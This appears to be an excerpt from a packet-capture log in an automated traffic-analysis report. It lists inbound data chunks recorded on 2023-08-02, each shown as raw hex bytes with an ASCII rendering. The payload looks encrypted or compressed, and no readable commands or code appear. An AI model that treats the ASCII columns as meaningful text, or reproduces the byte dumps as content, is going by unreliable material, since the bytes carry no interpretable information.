2023-08-02 08:30:44 UTC	482	IN	Data Raw: fa d9 6e 87 28 2f 8d a1 4d d1 b9 52 e9 c7 1a 63 6f a7 55 7a 71 61 2d 04 4d ec 0e d5 09 b7 a5 52 86 2f 0c ac bd 34 03 27 85 5d 6b 10 41 ed a8 7e 70 80 31 99 a2 1d 41 85 f0 f4 df ef 82 66 8d 94 3f 25 e0 65 de 0d 32 ee 66 51 cf 48 79 5e e5 e4 ae 86 66 a4 8e b5 1b 00 10 6e de b8 74 0b 2b 7d 1a 69 3a 49 20 4b 77 02 2f ba 92 3c 40 6a 27 dd 11 b7 e0 f6 89 9f b5 0b 58 4b 2f ab 22 27 ac a7 74 70 2d 21 da 47 5c 2b 64 d4 68 80 6f da 05 b7 bf 4d 8b dc 97 c7 f9 38 bf 14 0c 1f 85 30 69 10 0a dd 65 0c 9f 22 ac d7 ac a3 55 33 c0 ed d5 04 ed be 03 64 99 45 1c ea 07 27 60 fc 8b 43 8b 1a ac 86 07 3d d8 b1 e7 6e 2d db 9e 18 49 45 43 d4 5e 0c 06 5f 52 d3 cb 22 fb fe 0b 16 c0 53 18 b2 da 01 fa 3e 25 62 96 70 aa b8 6d 95 c5 38 57 1b 20 88 0f 79 e6 8e aa 77 75 6b 66 44 c3 ab dc Data Ascii: n(/MRcoUzqa-MR/4']kA~p1Af?%e2fQHy^fnt+}i:I Kw/<@j'XK/"'tp-!G\+dhoM80ie"U3dE'`C=n-IEC^_R"S>%bpm8W ywukfD
2023-08-02 08:30:44 UTC	498	IN	Data Raw: e7 48 59 c8 3c f9 a7 d9 e4 08 84 9c 3e 63 57 64 90 a5 71 11 2e c0 32 e8 8a 49 da 58 8e f3 1e 56 d7 f7 c6 88 de ab 1a 81 f0 fa 23 95 cf d9 85 8b 87 6d 4d 2c 2f 67 a6 46 b6 cf 7a 5f f6 21 3a 0b 0b f4 16 66 60 c2 e3 e5 5a cf df 54 fb 45 22 ac 82 a3 47 7a 74 fd e1 f8 a7 1a 00 56 5d 19 bc fe e1 f3 84 cf fc 0a 75 c1 f3 d1 ad 04 90 e1 2d 76 0f 74 4c 4f 13 81 b6 bf 57 79 26 36 d9 d3 c0 48 2d 7f 57 73 ce 90 23 81 9f 73 6c 52 a6 da f4 fd 6d 81 36 e7 34 6e 14 b9 1f b3 2a 7b 82 da 31 ff 17 0a 5e b7 17 dd f9 71 83 79 24 54 6c cd 00 a1 44 89 cd f5 1c 1d 94 fb 6b 06 b9 c1 9b b8 e7 0e 5b 14 40 d9 2f 3f 78 1b 54 77 1f 65 dd 2e 2a 4c d6 6d 3b 5e 05 88 fa 94 b5 1f c6 b8 91 da 9b 40 7f b2 72 44 ee 56 1a d8 23 a1 92 8f d6 e9 69 cc ca ea 1a 94 16 89 fa 1f 3d a9 cb bb 6d 1a 5c Data Ascii: HY<>cWdq.2IXV#mM,/gFz_!:f`ZTE"GztV]u-vtLOWy&6H-Ws#slRm64n{1^qy$TlDk[@/?xTwe.Lm;^@rDV#i=m\
2023-08-02 08:30:44 UTC	514	IN	Data Raw: e2 92 ef f2 82 35 21 f4 f1 da 0f 00 65 b7 d8 8f 06 74 cc b7 28 ae 45 5b c2 9f ae d8 bd 4a c6 26 ec 49 68 9c 51 4f e0 a1 62 54 10 bf 2b 96 f8 39 20 69 f5 1f 47 d1 ca c2 3b 4b 69 9b c8 8e c3 80 21 2e 14 b8 bc 87 70 68 01 d3 ed f9 c0 54 1c df 10 cd 92 0f b2 6c 20 63 72 a4 92 d8 64 b2 5f fa db 33 59 d2 47 3e 03 04 ac 6c ac b5 c1 e3 5e 09 c2 35 f9 d2 22 c6 81 f9 47 45 d6 69 c6 0c 41 4f 9b 16 61 e2 4b ea 1d ab 7c 8b 1c 9d e7 e1 e6 be 88 33 2b 33 4a ed 45 a9 15 42 00 7a f4 74 bf 5d 13 39 17 b8 7b fb 15 42 9a 92 b2 0d 60 97 50 cf 90 8b 0a 18 42 84 ee 76 53 99 8c 45 af e4 55 37 bc c7 2e 71 1b fc 27 03 a5 86 f4 97 b7 61 09 a7 18 12 ca db 17 73 13 b1 0a 37 0a 7d 8c a9 b2 59 2c ef b5 bc 0a a5 5b ca 44 bc 1b 31 14 18 c1 ab c5 e2 03 19 39 b0 ca df 2a 09 7d 07 44 58 bf Data Ascii: 5!et(E[J&IhQObT+9 iG;Ki!.phTl crd_3YG>l^5"GEiAOaK\|3+3JEBzt]9{B`PBvSEU7.q'as7}Y,[D19*}DX
2023-08-02 08:30:44 UTC	530	IN	Data Raw: 47 ac f2 bb 12 39 2d 18 49 61 84 29 32 d7 76 cc 5c bf 27 12 d3 63 32 8b 86 9b b6 f9 f1 30 77 e3 f9 31 6e 4a 05 31 26 6d 0d 95 41 bd b3 69 88 cb a0 d5 be 9a 71 2b 13 bf 5e 63 8c b4 e2 46 32 c3 17 6d 43 f9 b8 c4 75 a0 42 50 cd c3 a3 51 bc 4b f8 d3 7c 45 07 7a b1 d4 25 77 c2 f3 29 fd 82 a3 82 1d 29 51 bf ba 47 9e 69 85 a8 4a d4 ca 50 41 d0 8a e8 40 a8 d3 68 18 98 1a 61 4e c4 17 cc 8e fd 1b 76 95 00 96 30 03 b5 6d 4d 33 3b aa ac d3 a2 95 ee 38 a5 74 9c 5e 08 50 61 36 6d e0 0f 8c 84 81 ae e3 12 2c 88 d8 69 2c 6f bf 53 d6 32 86 3a 4b 7f 6a 1f 1b ae 30 e5 39 df 6c 68 64 89 b5 b9 df 9e a3 58 63 73 82 84 8f bf 6b 10 09 7a 39 6c 52 d4 02 1b 7f c9 33 84 8b 09 bc 12 21 55 82 13 fd e6 ee 5e 2f 15 c1 9c 8b 78 af 4c e5 e4 c9 35 9d 3a a6 1c 0a 61 3b 42 84 9b 80 89 ae bd Data Ascii: G9-Ia)2v\'c20w1nJ1&mAiq+^cF2mCuBPQK\|Ez%w))QGiJPA@haNv0mM3;8t^Pa6m,i,oS2:Kj09lhdXcskz9lR3!U^/xL5:a;B
2023-08-02 08:30:44 UTC	546	IN	Data Raw: 4d 08 89 48 02 22 a0 68 15 1b 61 0c 92 7c 4e 15 71 0e 7b da c3 b1 87 c3 64 34 c0 3f 4b 91 1f 6a 4f c5 4e 38 f2 77 06 05 70 4b 82 12 14 a1 55 cf bf 21 79 8c c1 3f e4 6d 56 62 78 83 5f 78 5e 4e d0 2a ed 6c d5 e7 7c 74 1c ae 60 8c 44 50 fb da e7 f9 12 2f 19 b3 23 0f 87 67 f3 42 47 05 aa dd f2 c0 5a 56 87 b1 0a cd 70 f7 ea 55 d2 3a 38 37 87 4d b4 01 91 39 a7 d4 6a 54 18 01 59 5b a3 16 56 15 9a f7 53 ce 75 99 8e 8d 86 ad 50 e5 97 e3 38 63 80 dd fe 18 85 a8 40 42 73 35 ef 67 93 03 82 c4 41 a2 88 59 e6 65 33 24 de 13 67 52 f6 88 e8 98 42 dd 13 7b 42 8b 24 13 f7 65 50 da ec bb c7 59 7b 6f 1c 9f 4f 33 fd 1e a5 ee cc 21 2c fe 04 48 28 7d e4 7e c8 53 fc e2 fc 73 ea cd 86 ca fe e4 7b 6c e0 f3 d4 ea f6 7f f1 88 e7 1f b3 e1 30 de 14 6a 98 df 37 76 88 2e f2 be f4 70 a0 Data Ascii: MH"ha\|Nq{d4?KjON8wpKU!y?mVbx_x^N*l\|t`DP/#gBGZVpU:87M9jTY[VSuP8c@Bs5gAYe3$gRB{B$ePY{oO3!,H(}~Ss{l0j7v.p
2023-08-02 08:30:44 UTC	562	IN	Data Raw: 31 66 48 92 58 5b 73 60 db 57 94 00 59 b1 6b 32 df f7 ae c1 93 fe c4 27 a2 4f 21 3d 94 94 ec f3 d4 55 ed e6 95 df 8b fa 2d 75 82 42 4f e2 ce 0c 1e 92 b7 e2 db c8 4e 36 e2 58 d2 2b 11 bd fa ac 97 cd 3d aa 07 c9 6a 08 e5 1a eb 88 69 72 35 76 ed db ee ff 40 bd 1d 06 3c 61 e1 ea be 24 fd fc aa 82 43 5c 17 19 57 55 49 e7 09 24 42 f8 ff 22 c0 c3 39 02 52 9a 9a 5a 0e 43 b2 00 d2 9f 46 23 69 ae fb 11 0f dc 07 8d 59 c6 e5 4b 5f 37 3a 99 4c 41 4e f3 4e c5 ae 61 4f 2d 25 15 56 c8 2e cd ff 58 f7 ec 95 f5 ef c6 ed fc 2b ab e6 5d 1a af 83 7e 0b be 97 12 d1 d0 6c db bb ac e0 03 b4 34 5c 73 88 b3 70 5d f4 1a 04 7d 7c dc 55 12 2c a3 25 02 db 05 62 fe 07 ab f2 75 23 d4 04 b3 e0 89 54 d2 13 e8 8b da da f3 a4 1a 91 25 60 8e 39 22 99 d3 57 12 ea 75 64 42 64 cd b2 55 bb 84 65 Data Ascii: 1fHX[s`WYk2'O!=U-uBON6X+=jir5v@<a$C\WUI$B"9RZCF#iYK_7:LANNaO-%V.X+]~l4\sp]}\|U,%bu#T%`9"WudBdUe
2023-08-02 08:30:44 UTC	578	IN	Data Raw: 91 87 26 13 e0 e7 9e a3 cc 29 8b 02 95 b4 8e 78 de 6c fe ed 58 fe f2 ac e4 0f 92 b4 33 15 ce 7c 61 80 db c7 55 c9 11 de d9 f8 a9 07 5c 61 3d 6e f7 48 7b f4 15 01 20 9f 09 75 6d 48 3e 24 a4 15 09 26 b8 da 2b cd a0 d2 7e 07 3c 5e f3 18 a7 01 80 11 60 99 15 26 dd ae 65 78 29 e8 50 d0 c8 37 e0 72 e8 12 92 9e 43 69 8f 9a 3d 1d 5b 55 fd 5f 78 fb d1 51 09 1d 1b d3 b9 f4 a2 2a cc 4d 53 8c c2 2c 38 1a da 88 e5 e3 a4 35 d2 f9 e9 dc 3a 6c ca fd cd b5 78 51 9b 4a 6a a9 40 0c 17 73 05 33 c7 84 59 3f 6b 33 e4 9a f3 ea e4 6a e7 7a 85 00 41 30 11 b2 7c 9e 44 82 0a 01 d5 ea e9 a1 b8 9d f7 16 22 5e ee 0e f3 ab 5f 17 20 ff 9b 84 42 ff 1c c7 65 23 67 fb 1a b5 41 b9 10 25 78 91 52 f1 08 d5 cf 19 3c 1c c2 e7 14 6f a5 99 9f ea 9d 5b 40 e8 9e c2 80 63 06 db 41 c8 3c d3 38 5a b7 Data Ascii: &)xlX3\|aU\a=nH{ umH>$&+~<^`&ex)P7rCi=[U_xQ*MS,85:lxQJj@s3Y?k3jzA0\|D"^_ Be#gA%xR<o[@cA<8Z
2023-08-02 08:30:44 UTC	594	IN	Data Raw: 1f 08 82 41 d2 ba 47 94 18 9d 84 1b 5c 33 c4 79 5d 44 66 a7 e1 1a cc 25 df a2 54 2e 68 c7 2c 22 a2 9c 2e b5 6f af 98 4b 0f 63 3c ef b8 68 43 d5 dd cf cc 32 c2 38 86 e7 46 22 83 28 07 38 ef e1 fb ef 6d 4b 91 ab 7c 6a 27 f0 40 c4 23 d4 b6 29 ee 2c f8 a3 8e ce bd f8 6f b8 44 ab 22 8b 95 58 44 f8 6a 31 7d d5 be 3a d0 6c ea 53 04 e4 0f 24 92 a6 d4 96 a5 1f 82 b5 29 71 fb a7 95 56 7c 1d 4e cb 14 74 c7 fa 6f 12 d8 af 84 52 ab 8b 5d 8c f5 10 9e f5 23 ac 73 fd 97 e1 25 f4 c1 d6 d0 a0 04 49 3c 42 8e e6 09 d3 f8 57 e4 f7 7e 8d 7a f9 8f e9 b9 c6 4d 36 82 19 0a 32 83 02 c9 41 5d a2 0b 21 a6 ed 1d be 30 be ba f7 7b 88 e8 d5 db 08 81 d9 10 e6 71 a6 91 1d f6 74 f3 58 e8 cc ff b1 a5 f3 f3 7b df f2 54 c7 8b 62 38 b9 0e a1 d7 55 8d aa 38 2a 70 d8 2c aa 46 e4 e6 64 83 e2 6b Data Ascii: AG\3y]Df%T.h,".oKc<hC28F"(8mK\|j'@#),oD"XDj1}:lS$)qV\|NtoR]#s%I<BW~zM62A]!0{qtX{Tb8U8*p,Fdk
2023-08-02 08:30:44 UTC	610	IN	Data Raw: c5 a0 7a f0 41 2b aa ad df 6e c5 68 76 ea 41 30 a2 8d c9 4e 6f 68 cb 74 38 c0 7a 49 ed 2e c9 ec b7 10 4a 0a 7a 65 32 d8 be c3 03 24 42 27 5b 1d 0b d9 42 38 78 f1 85 a3 b4 45 1c 98 50 42 8a 2f 7e 85 b9 3c 46 2b 7e ee f6 3b 01 67 a7 19 43 20 53 2b bc 5d 16 52 61 0e 34 c5 22 06 d8 05 3e 7f ba 0d ec 4f 5a 92 48 7a a6 8d 59 2e eb 32 a8 bb 3e 7b ac 40 7d 45 85 e1 77 f2 f5 b1 a8 cf c6 4a 8a a1 8d d4 e2 75 7b 09 83 e5 e1 bb 2a 4e 32 ef b9 c3 b8 0b 21 86 e2 e0 05 35 e9 df 2a 21 0f 36 1f 05 c3 c8 a3 47 56 f0 2e 67 fc 54 82 7f f4 62 6b de 85 18 ce 00 98 21 76 ab 36 4a 72 54 f9 f1 fb 44 db 46 31 47 fd 2c f7 e0 e4 1f de ee 83 8d bb 68 c9 12 f5 19 83 d1 59 51 b3 39 35 02 49 dc a5 98 bd 43 4b 6e a5 90 b9 fe 9e 73 39 f8 1a ba e0 c9 fe 4f dc 91 b7 6b 96 0d 66 7a b8 ca 24 Data Ascii: zA+nhvA0Noht8zI.Jze2$B'[B8xEPB/~<F+~;gC S+]Ra4">OZHzY.2>{@}EwJu{N2!5!6GV.gTbk!v6JrTDF1G,hYQ95ICKns9Okfz$
2023-08-02 08:30:44 UTC	626	IN	Data Raw: 83 d4 16 ac 61 73 95 ef 1d 1c b1 93 90 79 2a 21 7c e6 da f2 af ca 36 93 7a 0d 45 4b 01 4a 7e 8e bc 39 18 b6 7c df 61 a0 bf 5e f6 6e e2 c2 db a4 a1 da ec 19 fe b5 c1 0a 2a b3 82 8f 28 72 ed 7b 80 1e 3c 49 82 f8 fb 7f 3e 18 9c aa c9 cc 1e 64 a4 55 85 8b 30 c5 53 72 f2 0d 73 1f 52 be 5c cc e2 bf c8 b4 47 5d 20 1c 0e f7 2e a2 e3 1d 53 55 ae ca 90 0a a7 67 be 61 ac 70 b6 6e 5f 79 de a6 24 e9 8a 62 02 9d 3e 2b 1e b2 f3 5e ad 98 24 42 d4 19 76 7d 68 dc b1 a1 57 13 c6 e7 db 31 ce 4d 4b ed 43 73 0d 5e 62 01 5d c5 15 d1 38 65 b4 da 7c 4c 8e 37 6a 1d 6b dc 1a 6f ca d3 e9 07 10 39 f0 10 fc 20 de 4a 93 c3 9d ef 27 8b 65 32 1b 7e 3b 94 42 ff 36 42 ad 5d 39 8f 04 55 f5 b3 a9 08 16 ae 08 89 17 2b cc 1d af c8 69 30 ec f3 5b 15 35 8b 91 14 8e 87 a7 01 f9 6f 92 3b bb 7b 75 Data Ascii: asy!\|6zEKJ~9\|a^n(r{<I>dU0SrsR\G] .SUgapn_y$b>+^$Bv}hW1MKCs^b]8e\|L7jko9 J'e2~;B6B]9U+i0[5o;{u
2023-08-02 08:30:44 UTC	642	IN	Data Raw: 54 26 ad e7 4c a8 f0 38 ac c9 6b b5 4b 7b 92 d0 6f 3b 4f 14 0b fa 1e b9 49 3b e4 eb 70 d5 0e 69 e6 65 db 8c f4 af d1 a3 f1 50 41 a2 40 85 fa 1d 2d 6c d1 8a d2 0e 6b 02 79 fc 6a ef 26 6f 2a ab c1 29 ae 77 95 6d 16 a4 0c d0 38 10 b1 f8 59 9f d9 5b cd bd c7 2f e7 f0 1d 15 70 8a 0c 84 84 78 02 20 cd 8a ad 56 0e 0d 38 b9 59 9f df b2 af 67 53 5a 71 b8 4a df a4 2f 08 32 a4 8a 53 1a 09 7a 34 a1 17 0f 39 d6 83 38 08 fd 9d 9a f4 f9 e0 e1 3e 63 3d ba 6a 6b a5 b1 cb 5f 7a c4 1a 99 f6 e6 15 e1 0c 58 72 7b 65 74 38 71 d2 b5 10 e1 15 4b 12 49 8b b7 31 35 68 29 92 44 bb ab 35 54 75 f3 a0 00 b7 7b 51 27 d6 83 21 a6 66 ac 49 c2 e1 49 5d 1a 05 7c 13 1a 37 7b be 9b 80 f6 43 21 4f 8c a8 fc 2f f1 42 7b 2e f2 c8 de 17 b9 90 6b 9c 0c 30 44 43 69 6e c7 26 04 aa 23 17 f3 d5 5b 02 Data Ascii: T&L8kK{o;OI;piePA@-lkyj&o*)wm8Y[/px V8YgSZqJ/2Sz498>c=jk_zXr{et8qKI15h)D5Tu{Q'!fII]\|7{C!O/B{.k0DCin&#[
2023-08-02 08:30:44 UTC	658	IN	Data Raw: 34 96 90 5b bf 43 de 35 57 69 a4 ac 51 68 4a 41 78 61 c9 cb 41 7f 7d 9e 46 29 02 09 fb d2 03 5e 38 b4 e5 5e 8d 97 c7 98 a1 95 a9 40 78 c7 13 dd cc 8f 87 84 df 33 73 84 36 09 2b 67 e1 0e e7 df 0e a0 4a b4 8f 09 26 12 7d 84 dc 70 e9 21 51 2d 74 e1 33 36 ff ab 48 7b 92 ca e2 ba 66 ea 10 9d 99 26 cd 44 b8 ac 76 7c 9e 03 8f b2 bb 57 e3 08 3a 1d 44 67 ff 34 90 b2 57 4d 16 ca bb 9f 6f ad e7 24 02 a4 2f 59 77 26 60 2c d0 3f f3 d2 76 f1 44 b7 20 19 db f7 93 31 c2 af b8 54 44 a8 9e 43 b4 df 86 93 38 85 6c 2c 0a 31 64 af ef 91 7e 6b f3 89 0c 42 d0 6b 71 70 b3 ab 76 18 82 c2 e0 ee 8b 12 4f 24 95 4f 9d 4d f3 03 76 64 e5 a5 73 ad 9d 02 0c dc 9a 90 9b 1c cf 35 d5 25 91 26 e1 8e 6c 7a 1b de 89 c4 b2 a2 89 17 b7 df 84 4e e6 a4 d8 3f 6b d2 5c c7 dd 11 d3 dd 27 6a 2d 63 af Data Ascii: 4[C5WiQhJAxaA}F)^8^@x3s6+gJ&}p!Q-t36H{f&Dv\|W:Dg4WMo$/Yw&`,?vD 1TDC8l,1d~kBkqpvO$OMvds5%&lzN?k\'j-c
2023-08-02 08:30:44 UTC	674	IN	Data Raw: 2f 18 82 34 6a ee 1b 16 cc 26 8d a9 d9 99 00 d0 65 e2 43 97 da 4c dd d2 a2 d3 6f 79 cb 70 9b 24 ff 37 8b 2b 05 bd ea 93 59 6a ae a7 be 27 99 b5 02 cd 93 25 6e d0 ca 6c 3e 70 f5 98 f5 f9 7a bd 06 bf 9e da f6 21 d5 84 d5 32 f9 c3 38 6b 4e 53 0e c7 56 6f f6 4a 5c 57 88 c9 d3 37 b9 b7 72 7d 65 3f bc 07 49 04 1d 1a d3 0c a8 25 1c f3 9d cc a3 a4 7d 28 d1 31 90 20 a5 93 16 36 b8 2e 6c f3 37 19 69 54 36 a0 f5 4b 83 c8 45 3b 5b db bb cb 21 9c 1c 0b 66 d1 2f a0 b6 5f 78 94 3a 5e 8f f2 bf 4a 2a 42 12 41 a2 fb 41 c2 65 89 fa 9b 69 af 4f 65 e8 1e be dc aa b5 60 f0 2c 1d 36 58 3d f0 d4 ec b0 89 7a 1c 9c ee 60 3b c7 82 20 66 0c a0 0b 3a 48 f5 24 22 b9 07 6b 23 bc 68 73 c1 f2 35 2c b5 3e c4 b1 ae e5 e5 b7 41 36 97 a9 d5 89 ab ed 7d da 3f f4 9c f3 9a 92 ab 64 33 ff 36 a2 Data Ascii: /4j&eCLoyp$7+Yj'%nl>pz!28kNSVoJ\W7r}e?I%}(1 6.l7iT6KE;[!f/_x:^J*BAAeiOe`,6X=z`; f:H$"k#hs5,>A6}?d36
2023-08-02 08:30:44 UTC	690	IN	Data Raw: 02 1a 3e dd ef c6 b1 d0 4f b9 8b a9 bc e1 ba 60 e1 76 da 29 e1 65 a7 ba a5 04 e7 e0 fc 1f d8 35 13 81 a3 23 55 19 c7 40 1b 27 b6 b0 4e 60 9f 18 5e d5 fa 34 d2 c9 20 cd ab dc 30 fc 35 76 8c d4 60 c3 00 c4 f0 5b 2b 98 4b 9a c9 53 7c d9 5b bb 02 e4 15 d9 3a 90 ac 31 a6 50 da 88 be fe 53 5a 78 f9 5b 2a 4d eb a5 34 16 09 cf bc ff 8f f3 9c 19 09 45 68 c3 92 fb fb a7 0b 1c e9 5c 08 9a 2d 07 1d e0 d8 b2 01 75 b8 58 1b 27 ef 20 27 37 59 8d e5 a2 d3 0b ca 75 d0 39 89 67 d2 aa 3d 16 aa 56 4c 17 73 1a 6c 6a 4e 4b 75 8b b9 25 50 fd 87 2d 10 ee 1b f0 54 81 fc 59 f4 56 c3 70 20 1c 7b 30 2a 6d d0 bf 9b 45 70 a6 ae ac 0b bb 84 91 09 38 5f 5c 8c 4f 68 f1 3c 90 1e 09 fe 77 4e 8c 13 12 c6 23 24 be 73 89 7b cf 8b 00 03 78 b5 11 09 79 37 52 72 8c 8a f3 8c dc 15 df 19 11 2a 21 Data Ascii: >O`v)e5#U@'N`^4 05v`[+KS\|[:1PSZx[M4Eh\-uX' '7Yu9g=VLsljNKu%P-TYVp {0mEp8_\Oh<wN#$s{xy7Rr*!
2023-08-02 08:30:44 UTC	706	IN	Data Raw: 1b 57 6a a1 05 d8 0b 10 73 43 d8 ef 4e b0 c4 e0 30 7f 4c 0f 6c 4e 02 b8 b4 01 ef 60 3c 79 ed e8 87 75 9a 40 dc 9f dc 8f 7b 32 d5 13 be aa e4 fa f7 7c 85 a0 12 ce aa 55 0c 87 ce 14 08 0a b3 26 4f 27 14 e7 7e f4 0b 1f 85 de bb dd c3 e9 19 28 49 4e 67 da 16 85 9f e9 1c 84 9b a0 5e dc c3 6a 94 28 a6 0f 56 b1 5b c7 aa bc a1 01 e1 e8 13 44 82 25 ae cf 73 2d 98 9d ba 5e 5e 67 14 72 0c d9 18 98 0a 10 ca 65 2f 4a c0 43 4d 84 21 d0 cf 3e f3 04 d8 ee 38 f5 fc ee fd 01 2c f8 af 74 3f 24 1a 3c 77 48 b3 f8 58 2f 77 a2 a2 db 2c 23 32 66 39 f2 e9 82 c6 2f b5 2c 6f 42 8b 58 15 72 b7 32 cb c7 3a 5b eb 20 3f be 3c b9 5a 9c 33 ba 1c 7a e0 5c 13 90 67 16 14 d3 8d df 3d 96 cd bf 92 45 f6 3f 0a 6c 04 92 e5 fd f6 31 fd 9f b0 21 ac 70 4a 0d 8c 42 57 12 53 52 93 df b5 cd ef cd a5 Data Ascii: WjsCN0LlN`<yu@{2\|U&O'~(INg^j(V[D%s-^^gre/JCM!>8,t?$<wHX/w,#2f9/,oBXr2:[ ?<Z3z\g=E?l1!pJBWSR
2023-08-02 08:30:44 UTC	722	IN	Data Raw: 29 21 8f f8 d9 8b 74 9b 16 f4 c1 ba ee 84 1e 5f 86 b4 95 9e a1 b2 ba f8 6e 9e 22 70 d9 1e 9e a6 74 0a 2b a7 d0 5d d6 f7 c8 92 2a 42 46 6b a0 e1 d0 d9 ee 06 76 92 32 d4 ff 5d 5f 49 0c f6 34 85 cf d8 fa 9c 72 21 ef a6 b2 24 4a bd cd 1c 7b 65 8f 22 3a 37 6e 46 6b ed 77 c9 ef 89 ab e0 be c8 7a b7 54 9c fb 5a 2f 17 81 09 b4 78 b6 25 e2 e9 3b 04 5a 8b cd 65 92 b6 8b a7 05 11 11 0e 56 20 b4 4f 03 bd 3d 89 f9 ea 13 9b cf 8d 45 80 a9 e2 fc 39 b7 35 0d b0 f5 c8 32 5a 31 33 9f fd 83 b0 3b 88 6a 3b bf 5e 50 52 c0 18 36 e7 f8 3c ff 31 1d 9c eb 44 a2 68 39 9b 69 64 b6 05 ad d7 0c 3c 48 15 1e fe 37 8b e8 54 3a 7b 15 53 6d 38 b6 b7 bb 9a 8e 0a 1e 41 6a 40 94 68 05 a6 e8 11 75 09 38 6b cc ea 57 7e 5a c2 86 06 aa 87 70 86 a9 90 1b 0b bf f3 a3 4e 14 73 01 68 88 06 9f db 87 Data Ascii: )!t_n"pt+]*BFkv2]_I4r!$J{e":7nFkwzTZ/x%;ZeV O=E952Z13;j;^PR6<1Dh9id<H7T:{Sm8Aj@hu8kW~ZpNsh
2023-08-02 08:30:44 UTC	738	IN	Data Raw: 67 b9 4a ee fd 4b 0b 9b 02 75 cb b8 45 96 af 43 07 d4 24 ef 1d ac 8c 35 9e 11 3b 18 83 33 8b a7 c0 8b c2 d1 80 b9 f4 2d 3e b8 79 63 11 18 8a 8d 88 ff cf b4 a2 f4 b0 50 b5 cd 5c d9 a1 ef 03 34 6b 7d 68 6c 83 97 14 f5 de c0 40 79 3f 8e 49 07 76 54 94 79 ef 83 94 10 74 09 60 64 0c d6 21 01 f0 64 47 26 fe 0a b1 6e 7d d6 2f 09 0b d3 7e 06 1b 30 3b 17 a2 ce 62 1e a0 2b dc 2c 5e 3a 23 4b f2 a1 c2 e1 29 5d 6c bc 5e 7b df 78 ac b0 b7 15 9a 90 56 ef d9 6b ef 75 d8 0b b9 71 d3 57 e5 9c 4f 30 81 ea c2 44 09 0d c3 ba 92 a2 71 cc e5 d5 73 3c c6 25 bd 21 7b e7 7f 6a ce 25 91 56 90 7b f1 5a e3 a0 bf 2a 25 f5 0a c4 32 e2 39 d3 84 63 12 20 a4 8c 29 af 1d c7 6f 5d 95 63 65 1a 1d 88 f7 9e 92 c6 f0 97 90 60 26 08 6c 30 c4 b6 67 08 62 c4 af 09 61 da 34 d0 f5 8a c4 3d 91 8a 02 Data Ascii: gJKuEC$5;3->ycP\4k}hl@y?IvTyt`d!dG&n}/~0;b+,^:#K)]l^{xVkuqWO0Dqs<%!{j%V{Z*%29c )o]ce`&l0gba4=
2023-08-02 08:30:44 UTC	754	IN	Data Raw: 45 20 81 c4 eb 32 f3 e0 2c c2 ff 13 05 0b 89 3b 75 0c 92 53 d7 76 b1 ce 43 49 8e 5f 81 a2 19 77 ea 31 d9 5d 6c 62 8e f6 af 7d f3 ef c5 51 fa 09 a1 ad ef 82 38 25 52 c8 4c 03 fd 35 63 3a aa 21 1f 29 6b a1 28 88 c9 e6 64 f1 01 04 94 6f 7d 2f a6 cc cd 4a 00 c2 34 79 b2 4e c3 a9 0f 86 c8 c5 38 b0 65 9c dc d7 fe 5a ce ae 88 d5 72 29 7b 27 c0 55 94 e8 ed 30 b2 e1 dd ac 5f 4f da d9 d1 e4 59 49 f9 fb 4e 9c 2a f7 9e a9 47 c5 e9 8c c8 ca 35 b4 16 09 c5 0e c8 2a 88 d6 39 e5 12 ef 0d 84 b7 b0 25 f7 24 f2 7d f2 8d 2e ca 2d d5 4e ff 00 60 cb 76 f5 3e a4 f2 c1 d4 ca 7c cb 55 65 d3 e8 bb b1 0c 7f 2b b7 18 b6 71 c8 82 e8 43 78 2f 90 75 36 19 df 24 1f 93 50 1e 3b 9b 77 f9 c3 e2 06 61 ac 0c 2c a3 de 8f d2 ce 39 6b 40 b9 1d 9c 21 6c 9d 09 e6 bf 1e ed 24 50 83 45 f9 47 ae d3 Data Ascii: E 2,;uSvCI_w1]lb}Q8%RL5c:!)k(do}/J4yN8eZr){'U0_OYING59%$}.-N`v>\|Ue+qCx/u6$P;wa,9k@!l$PEG
2023-08-02 08:30:44 UTC	770	IN	Data Raw: 55 10 bb 4b 21 88 66 57 8b 71 52 f4 b0 fc c3 ab 41 e2 fd 64 d7 31 85 42 2b 9b 56 dd fd ac 06 c8 55 9b 05 09 03 5a 24 c4 2e be 2d 85 12 97 8e d9 64 a7 12 af f8 be 93 ef 54 fa f3 a2 7d f6 18 1a 0c 5b c0 bc d7 98 06 5b 37 b1 c8 cb 7e df 18 82 8f 81 e6 33 75 64 23 f1 c3 d6 6e 56 cb aa 03 a7 99 0c f0 af 15 43 08 be b5 a2 57 0d be 40 52 96 c3 26 54 9f 7c 85 ad eb 35 3c dd 55 f7 ff 7d 55 a6 01 15 47 a0 e1 9b 4b d7 3d f5 37 76 13 83 63 9b 79 30 cc d6 f2 fd aa 3b c3 15 86 a9 67 6e 1a bf d4 0c fb d1 67 c1 79 6f 5a e8 32 12 e9 6e 2d 3c c0 e7 a9 9e 7c 7d 39 f5 f6 aa 89 ea 46 50 aa cc 26 c1 00 2e 33 be ba 88 ff f2 30 24 4d f9 71 66 05 03 8f 74 55 80 e5 ea f9 d6 23 96 2f 29 e6 37 89 bb 9c de 69 8b 2c a6 02 6b 26 c0 2c 61 9c 7f 69 d5 97 61 91 98 1b 1e 12 1b cf 6c 44 1c Data Ascii: UK!fWqRAd1B+VUZ$.-dT}[[7~3ud#nVCW@R&T\|5<U}UGK=7vcy0;gngyoZ2n-<\|}9FP&.30$MqftU#/)7i,k&,aialD
2023-08-02 08:30:44 UTC	786	IN	Data Raw: 17 c5 98 98 c4 b2 52 79 c0 5b ca e0 f0 b9 97 d7 be 1b 78 72 9c 48 e1 cc 0c b7 87 b0 c4 52 b3 6e 7c 0d 61 f2 75 8b ff 06 39 51 6b dd d7 c6 bc 5c 7c 24 0f 41 71 5e b7 c9 a9 76 0e 8c 46 55 f8 21 e9 3e fd b3 64 d5 71 eb 7a 3f e8 29 a7 1b b3 00 7e b8 8a 4d 0b 39 f7 93 1c 6f 4a 92 30 12 e9 52 f1 b1 0e a7 8d 1b 86 cf b2 6c b1 ba f3 8a 99 e8 78 20 c5 e7 ec 61 14 c7 ba 67 2b c9 fa 1a a0 f5 ce b5 f1 bc e6 5a dd 48 67 f6 29 66 46 07 4c bf 71 0a e1 ac 77 46 ca 74 70 5d f6 3c 3e a1 c9 5b 4d 2d bd ed 94 42 41 35 21 aa f4 b1 ca 66 f8 b3 c6 47 85 6a b1 04 e3 07 ed cf 52 6a 8d 08 16 62 02 73 cb e1 43 f0 ed 32 ca 14 16 ee 97 91 2b a4 c6 b2 aa 48 bf ef cf 52 c7 ab 11 fd 26 15 d2 aa f2 38 ff 16 4b bb c0 f2 be 50 3a ba 71 20 dd c3 23 97 74 13 ac d1 b6 d6 bc 78 98 07 12 cd 10 Data Ascii: 